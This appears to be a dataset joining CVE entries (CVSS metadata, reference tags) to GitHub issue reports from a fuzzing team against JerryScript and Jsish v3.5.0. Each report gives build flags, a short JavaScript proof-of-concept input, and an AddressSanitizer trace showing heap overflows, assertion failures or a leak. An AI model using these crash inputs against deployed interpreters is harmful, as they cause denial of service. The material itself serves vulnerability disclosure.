55acdf2048b390d0f56f12e64dbfb2559f0e70ad
## Build platform
Ubuntu 20.04 LTS
## Build steps
```
./tools/build.py --clean --debug --compile-flag=-fsanitize=address \
--compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \
--compile-flag=-fno-common --compile-flag=-g \
--strip=off --system-allocator=on --logging=on \
--linker-flag=-fuse-ld=gold --error-messages=on --line-info=ON \
--stack-limit=10
```
## poc
```
var sab = new SharedArrayBuffer(4);
var a = new Int32Array(sab);
Atomics.add(a, -0, 1);
```
## assert log
```
ICE: Assertion 'JERRY_CONTEXT (jmem_heap_allocated_size) == 0' failed at /home/sakura/jerryscript/jerry-core/jmem/jmem-heap.c(jmem_heap_finalize):108.
Error: ERR_FAILED_INTERNAL_ASSERTION
``` | Assertion 'JERRY_CONTEXT (jmem_heap_allocated_size) == 0' failed at /home/sakura/jerryscript/jerry-core/jmem/jmem-heap.c(jmem_heap_finalize):108. | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4894/comments | 1 | 2021-12-09T14:53:08Z | 2022-01-14T09:05:39Z | https://github.com/jerryscript-project/jerryscript/issues/4894 | 1,075,663,454 | 4,894 |
CVE-2021-44994 | 2022-01-25T01:15:07.773 | There is an Assertion ''JERRY_CONTEXT (jmem_heap_allocated_size) == 0'' failed at /jerry-core/jmem/jmem-heap.c in Jerryscript 3.0.0. | {
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
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"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
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{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4894"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4895"
},
{
"source": "[email protected]",
"tags": [
"Not Applicable"
],
"url": "https://security.samsungmobile.com/securityUpdate.smsb"
}
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"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27)
Version: v3.0.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20
```
###### Test case
```javascript
function JSEtest(predicate, item) {
if (!predicate) {
log.push(item);
}
}
var global = this;
Object.getOwnPropertyNames(global).forEach(function (name) {
if (name[0] != name[0].toUpperCase()) {
return;
}
var obj = global[name];
if (!obj.toString().includes('native')) {
return;
}
try {
new obj();
} catch (e) {
;
}
var constructor = obj.constructor;
var prototype = obj.prototype;
var prototype_constructor = prototype.constructor;
JSEtest(`${name}.prototype.constructor`);
});
```
###### Execution steps & Output
```bash
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'ecma_object_check_class_name_is_object (obj_p)' failed at /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c(ecma_object_get_class_name):3009.
Error: ERR_FAILED_INTERNAL_ASSERTION
```
Credits: Found by OWL337 team. | Assertion 'ecma_object_check_class_name_is_object (obj_p)' failed at ecma-objects.c(ecma_object_get_class_name) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4895/comments | 3 | 2021-12-09T14:58:57Z | 2022-01-12T02:09:35Z | https://github.com/jerryscript-project/jerryscript/issues/4895 | 1,075,669,945 | 4,895 |
CVE-2021-46474 | 2022-01-25T01:15:07.817 | Jsish v3.5.0 was discovered to contain a heap buffer overflow via jsiEvalCodeSub in src/jsiEval.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"baseSeverity": "MEDIUM",
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"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"impactScore": 2.9,
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"source": "[email protected]",
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"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
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{
"source": "[email protected]",
"tags": [
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"Patch",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/57"
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
assert(newObj.hasOwnProperty("prop")).throws(SyntaxError, function () {
eval("'use strict'; function _13_0_7_fun() {eval = 42;};");
_13_0_7_fun();
});
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
=================================================================
========ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250000028f8 at pc 0x55bcbd952990 bp 0x7ffd837e9530 sp 0x7ffd837e9520
READ of size 8 at 0x6250000028f8 thread T0
#0 0x55bcbd95298f in jsiEvalCodeSub src/jsiEval.c:1366
#1 0x55bcbd95c15e in jsi_evalcode src/jsiEval.c:2204
#2 0x55bcbd960274 in jsi_evalStrFile src/jsiEval.c:2665
#3 0x55bcbd64f66a in Jsi_Main src/jsiInterp.c:936
#4 0x55bcbde5403a in jsi_main src/main.c:47
#5 0x7f3599d46bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#6 0x55bcbd5e3969 in _start (/usr/local/bin/jsish+0xe8969)
0x6250000028f8 is located 8 bytes to the left of 8192-byte region [0x625000002900,0x625000004900)
allocated by thread T0 here:
#0 0x7f359a9b5f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x55bcbd654972 in Jsi_Realloc src/jsiUtils.c:47
SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiEval.c:1366 in jsiEvalCodeSub
Shadow bytes around the buggy address:
0x0c4a7fff84c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff84d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff84e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff84f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff8500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fff8510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]
0x0c4a7fff8520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
========ABORTING
```
Credits: Found by OWL337 team. | Heap-buffer-overflow src/jsiEval.c:1366 in jsiEvalCodeSub | https://api.github.com/repos/pcmacdon/jsish/issues/57/comments | 1 | 2021-12-24T09:47:27Z | 2022-01-12T02:12:21Z | https://github.com/pcmacdon/jsish/issues/57 | 1,088,279,556 | 57 |
CVE-2021-46475 | 2022-01-25T01:15:07.853 | Jsish v3.5.0 was discovered to contain a heap buffer overflow via jsi_ArraySliceCmd in src/jsiArray.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
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"acInsufInfo": false,
"baseSeverity": "MEDIUM",
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"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
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"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
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} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/64"
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var arr = [
'aa',
'bb'
];
var results = [];
arr.findIndex(function (V) {
if (results.length === 0) {
arr.slice(1, arr.push('cc'));
}
});
results = [];
arr = [
'mm'
];
arr.findIndex(function (V) {
if (results.length === 0) {
arr.push('cc');
arr[1] = 'nn';
}
results.push(V);
});
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==87153==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c000018cc0 at pc 0x556c1807d671 bp 0x7ffc37cea3f0 sp 0x7ffc37cea3e0
READ of size 8 at 0x60c000018cc0 thread T0
#0 0x556c1807d670 in jsi_ArraySliceCmd src/jsiArray.c:912
#1 0x556c1804c818 in jsi_FuncCallSub src/jsiProto.c:244
#2 0x556c1831671a in jsiFunctionSubCall src/jsiEval.c:796
#3 0x556c1831671a in jsiEvalFunction src/jsiEval.c:837
#4 0x556c1831671a in jsiEvalCodeSub src/jsiEval.c:1264
#5 0x556c1832a15e in jsi_evalcode src/jsiEval.c:2204
#6 0x556c1804d834 in jsi_FuncCallSub src/jsiProto.c:220
#7 0x556c17fc9fec in jsi_FunctionInvoke src/jsiFunc.c:777
#8 0x556c17fc9fec in Jsi_FunctionInvoke src/jsiFunc.c:789
#9 0x556c1808ac0b in jsi_ArrayFindSubCmd src/jsiArray.c:576
#10 0x556c1808ac0b in jsi_ArrayFindIndexCmd src/jsiArray.c:666
#11 0x556c1804c818 in jsi_FuncCallSub src/jsiProto.c:244
#12 0x556c1831671a in jsiFunctionSubCall src/jsiEval.c:796
#13 0x556c1831671a in jsiEvalFunction src/jsiEval.c:837
#14 0x556c1831671a in jsiEvalCodeSub src/jsiEval.c:1264
#15 0x556c1832a15e in jsi_evalcode src/jsiEval.c:2204
#16 0x556c1832e274 in jsi_evalStrFile src/jsiEval.c:2665
#17 0x556c1801d66a in Jsi_Main src/jsiInterp.c:936
#18 0x556c1882203a in jsi_main src/main.c:47
#19 0x7f116a702bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#20 0x556c17fb1969 in _start (/usr/local/bin/jsish+0xe8969)
0x60c000018cc0 is located 0 bytes to the right of 128-byte region [0x60c000018c40,0x60c000018cc0)
allocated by thread T0 here:
#0 0x7f116b371f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x556c18022972 in Jsi_Realloc src/jsiUtils.c:47
SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiArray.c:912 in jsi_ArraySliceCmd
Shadow bytes around the buggy address:
0x0c187fffb140: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c187fffb150: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c187fffb160: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c187fffb170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c187fffb180: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c187fffb190: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c187fffb1a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c187fffb1b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c187fffb1c0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c187fffb1d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c187fffb1e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
``` | Heap-buffer-overflow src/jsiArray.c:912 in jsi_ArraySliceCmd | https://api.github.com/repos/pcmacdon/jsish/issues/64/comments | 0 | 2021-12-24T10:33:23Z | 2021-12-26T17:16:57Z | https://github.com/pcmacdon/jsish/issues/64 | 1,088,304,005 | 64 |
CVE-2021-46477 | 2022-01-25T01:15:07.893 | Jsish v3.5.0 was discovered to contain a heap buffer overflow via RegExp_constructor in src/jsiRegexp.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
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"pcmacdon",
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] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
function JSEtest() {
var bound;
var t;
bound = RegExp.bind('baz', 'quuux');
t = new bound('i');
}
try {
JSEtest();
} catch (e) {
}
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==21392==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000018e48 at pc 0x55de4613ce12 bp 0x7ffdf013bf00 sp 0x7ffdf013bef0
WRITE of size 8 at 0x604000018e48 thread T0
#0 0x55de4613ce11 in RegExp_constructor src/jsiRegexp.c:176
#1 0x55de4619b818 in jsi_FuncCallSub src/jsiProto.c:244
#2 0x55de46118fec in jsi_FunctionInvoke src/jsiFunc.c:777
#3 0x55de46118fec in Jsi_FunctionInvoke src/jsiFunc.c:789
#4 0x55de46194ad6 in jsi_FuncBindCall src/jsiProto.c:299
#5 0x55de4619b818 in jsi_FuncCallSub src/jsiProto.c:244
#6 0x55de4646571a in jsiFunctionSubCall src/jsiEval.c:796
#7 0x55de4646571a in jsiEvalFunction src/jsiEval.c:837
#8 0x55de4646571a in jsiEvalCodeSub src/jsiEval.c:1264
#9 0x55de4647915e in jsi_evalcode src/jsiEval.c:2204
#10 0x55de4619c834 in jsi_FuncCallSub src/jsiProto.c:220
#11 0x55de464655ab in jsiFunctionSubCall src/jsiEval.c:796
#12 0x55de464655ab in jsiEvalFunction src/jsiEval.c:837
#13 0x55de464655ab in jsiEvalCodeSub src/jsiEval.c:1264
#14 0x55de4647915e in jsi_evalcode src/jsiEval.c:2204
#15 0x55de4647d274 in jsi_evalStrFile src/jsiEval.c:2665
#16 0x55de4616c66a in Jsi_Main src/jsiInterp.c:936
#17 0x55de4697103a in jsi_main src/main.c:47
#18 0x7ff1757adbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#19 0x55de46100969 in _start (/usr/local/bin/jsish+0xe8969)
0x604000018e48 is located 8 bytes to the left of 48-byte region [0x604000018e50,0x604000018e80)
allocated by thread T0 here:
#0 0x7ff17641cd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x55de46171aa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiRegexp.c:176 in RegExp_constructor
Shadow bytes around the buggy address:
0x0c087fffb170: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb180: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb190: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
0x0c087fffb1a0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
0x0c087fffb1b0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
=>0x0c087fffb1c0: fa fa 00 00 00 00 00 04 fa[fa]00 00 00 00 00 00
0x0c087fffb1d0: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 06
0x0c087fffb1e0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
0x0c087fffb1f0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb200: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb210: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
Credits: Found by OWL337 team. | Heap-buffer-overflow src/jsiRegexp.c:176 in RegExp_constructor | https://api.github.com/repos/pcmacdon/jsish/issues/63/comments | 0 | 2021-12-24T10:32:32Z | 2022-01-12T02:13:42Z | https://github.com/pcmacdon/jsish/issues/63 | 1,088,303,589 | 63 |
CVE-2021-46478 | 2022-01-25T01:15:07.930 | Jsish v3.5.0 was discovered to contain a heap buffer overflow via jsiClearStack in src/jsiEval.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var a = Math.sin(Math.PI/2);
if (a === 1) {
switch (a) {
case assert(accessed, 'accessed !== true'): break;
default: throw "FAIL";
}
}
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==52181==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250000000f8 at pc 0x55ff51f35d58 bp 0x7fff48257760 sp 0x7fff48257750
READ of size 8 at 0x6250000000f8 thread T0
#0 0x55ff51f35d57 in jsiClearStack src/jsiEval.c:120
#1 0x55ff51f35d57 in jsiPop src/jsiEval.c:200
#2 0x55ff51f35d57 in jsiEvalCodeSub src/jsiEval.c:1390
#3 0x55ff51f4215e in jsi_evalcode src/jsiEval.c:2204
#4 0x55ff51f46274 in jsi_evalStrFile src/jsiEval.c:2665
#5 0x55ff51c3566a in Jsi_Main src/jsiInterp.c:936
#6 0x55ff5243a03a in jsi_main src/main.c:47
#7 0x7fab5e008bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#8 0x55ff51bc9969 in _start (/usr/local/bin/jsish+0xe8969)
0x6250000000f8 is located 8 bytes to the left of 8192-byte region [0x625000000100,0x625000002100)
allocated by thread T0 here:
#0 0x7fab5ec77f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x55ff51c3a972 in Jsi_Realloc src/jsiUtils.c:47
SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiEval.c:120 in jsiClearStack
Shadow bytes around the buggy address:
0x0c4a7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]
0x0c4a7fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==52181==ABORTING
```
Credits: Found by OWL337 team.
| Heap-buffer-overflow src/jsiEval.c:120 in jsiClearStack | https://api.github.com/repos/pcmacdon/jsish/issues/60/comments | 0 | 2021-12-24T09:50:51Z | 2022-01-12T02:12:56Z | https://github.com/pcmacdon/jsish/issues/60 | 1,088,281,295 | 60 |
CVE-2021-46480 | 2022-01-25T01:15:07.970 | Jsish v3.5.0 was discovered to contain a heap buffer overflow via jsiValueObjDelete in src/jsiEval.c. This vulnerability can lead to a Denial of Service (DoS). | {
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var arr = [];
arr.x = 0;
delete arr[assert(hasProperty, 'hasProperty !== true')];
for (var i = 0; i < 2; ++i)
arr.unshift(i);
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000df38 at pc 0x5566ebe0b2f9 bp 0x7fffd0654660 sp 0x7fffd0654650
READ of size 8 at 0x60600000df38 thread T0
#0 0x5566ebe0b2f8 in jsiValueObjDelete src/jsiEval.c:464
#1 0x5566ebe0b2f8 in jsiEvalCodeSub src/jsiEval.c:1885
#2 0x5566ebe1915e in jsi_evalcode src/jsiEval.c:2204
#3 0x5566ebe1d274 in jsi_evalStrFile src/jsiEval.c:2665
#4 0x5566ebb0c66a in Jsi_Main src/jsiInterp.c:936
#5 0x5566ec31103a in jsi_main src/main.c:47
#6 0x7fbbb1d73bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#7 0x5566ebaa0969 in _start (/usr/local/bin/jsish+0xe8969)
Address 0x60600000df38 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiEval.c:464 in jsiValueObjDelete
Shadow bytes around the buggy address:
0x0c0c7fff9b90: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
0x0c0c7fff9ba0: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
0x0c0c7fff9bb0: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
0x0c0c7fff9bc0: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c0c7fff9bd0: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
=>0x0c0c7fff9be0: 00 00 00 fa fa fa fa[fa]fa fa fa fa fa fa fa fa
0x0c0c7fff9bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
Credits: Found by OWL337 team. | Heap-buffer-overflow src/jsiEval.c:464 in jsiValueObjDelete | https://api.github.com/repos/pcmacdon/jsish/issues/61/comments | 0 | 2021-12-24T10:30:42Z | 2022-01-12T02:13:11Z | https://github.com/pcmacdon/jsish/issues/61 | 1,088,302,674 | 61 |
CVE-2021-46481 | 2022-01-25T01:15:08.010 | Jsish v3.5.0 was discovered to contain a memory leak via linenoise at src/linenoise.c. | {
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"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var JSEtest = [
'aa',
'bb',
'hhh'
];
try { Number.bind(console.input('listNum' + JSEtest), 4)(); } catch (e) {};
try { (1 >> y).toFixed.bind(2, 4)(); } catch (e) {};
(1 >> y).toFixed.bind(2, 4)();
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
listNum [object Object]
/home/user/poc.js:10: error: apply Number.toFixed to a non-number object
ERROR:
=================================================================
ERROR: LeakSanitizer: detected memory leaks
Direct leak of 1 byte(s) in 1 object(s) allocated from:
#0 0x7f0e5412d538 in strdup (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x77538)
#1 0x56523c6594ad in linenoise src/linenoise.c:1061
SUMMARY: AddressSanitizer: 1 byte(s) leaked in 1 allocation(s).
```
Credits: Found by OWL337 team. | Memory leaks in linenoise src/linenoise.c:1061 | https://api.github.com/repos/pcmacdon/jsish/issues/55/comments | 0 | 2021-12-24T09:44:48Z | 2022-01-12T02:11:57Z | https://github.com/pcmacdon/jsish/issues/55 | 1,088,278,241 | 55 |
CVE-2021-46482 | 2022-01-25T01:15:08.050 | Jsish v3.5.0 was discovered to contain a heap buffer overflow via NumberConstructor at src/jsiNumber.c. | {
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"pcmacdon",
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] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var a = [
[0]
];
var actual = (Number).bind("abcdab", [
[0]
].indexOf("abcdab", 99))();
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000018b40 at pc 0x55803d35220a bp 0x7fff119980c0 sp 0x7fff119980b0
WRITE of size 4 at 0x604000018b40 thread T0
#0 0x55803d352209 in NumberConstructor src/jsiNumber.c:93
#1 0x55803d325818 in jsi_FuncCallSub src/jsiProto.c:244
#2 0x55803d2a2fec in jsi_FunctionInvoke src/jsiFunc.c:777
#3 0x55803d2a2fec in Jsi_FunctionInvoke src/jsiFunc.c:789
#4 0x55803d31ead6 in jsi_FuncBindCall src/jsiProto.c:299
#5 0x55803d325818 in jsi_FuncCallSub src/jsiProto.c:244
#6 0x55803d5ef71a in jsiFunctionSubCall src/jsiEval.c:796
#7 0x55803d5ef71a in jsiEvalFunction src/jsiEval.c:837
#8 0x55803d5ef71a in jsiEvalCodeSub src/jsiEval.c:1264
#9 0x55803d60315e in jsi_evalcode src/jsiEval.c:2204
#10 0x55803d607274 in jsi_evalStrFile src/jsiEval.c:2665
#11 0x55803d2f666a in Jsi_Main src/jsiInterp.c:936
#12 0x55803dafb03a in jsi_main src/main.c:47
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#14 0x55803d28a969 in _start (/usr/local/bin/jsish+0xe8969)
0x604000018b40 is located 1 bytes to the right of 47-byte region [0x604000018b10,0x604000018b3f)
allocated by thread T0 here:
